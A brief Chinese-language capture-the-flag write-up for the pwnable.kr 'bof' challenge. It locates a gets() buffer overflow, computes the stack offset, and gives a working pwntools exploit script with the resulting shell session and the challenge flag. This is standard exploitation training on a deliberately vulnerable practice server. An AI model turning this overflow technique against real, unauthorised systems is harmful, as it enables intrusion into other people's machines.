pwnable.kr –bof

image-20220207142018309

由题意可得,本题是用缓冲区溢出。

1.分析文件

ida反汇编(太菜了,还不会汇编)

image-20220207142206445

给func函数传了一个整型。

image-20220207142424057

分析代码可以知道gets存在缓冲区溢出漏洞。

只需要知道a1和s的偏移量即可溢出。

查看函数栈区,确定偏移量

image-20220207142713122

蓝色区域为s数组的栈区,红色方框为a1的存储栈区。

偏移量为(0x8+0x2C =0x34 )

2.编写exp

1
2
3
4
5
6
7
from pwn import *
r = remote("pwnable.kr" ,9000)

payload = "a" * 0x34 + p32(0xCAFEBABE)

r.sendline(payload)
r.interactive()

p32打包0xCAFEBABE,改变a1的值。

运行效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[/home/kali/桌面]
└─# python test.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ ls
bof
bof.c
flag
log
log2
super.pl
$ cat flag
daddy, I just pwned a buFFer :)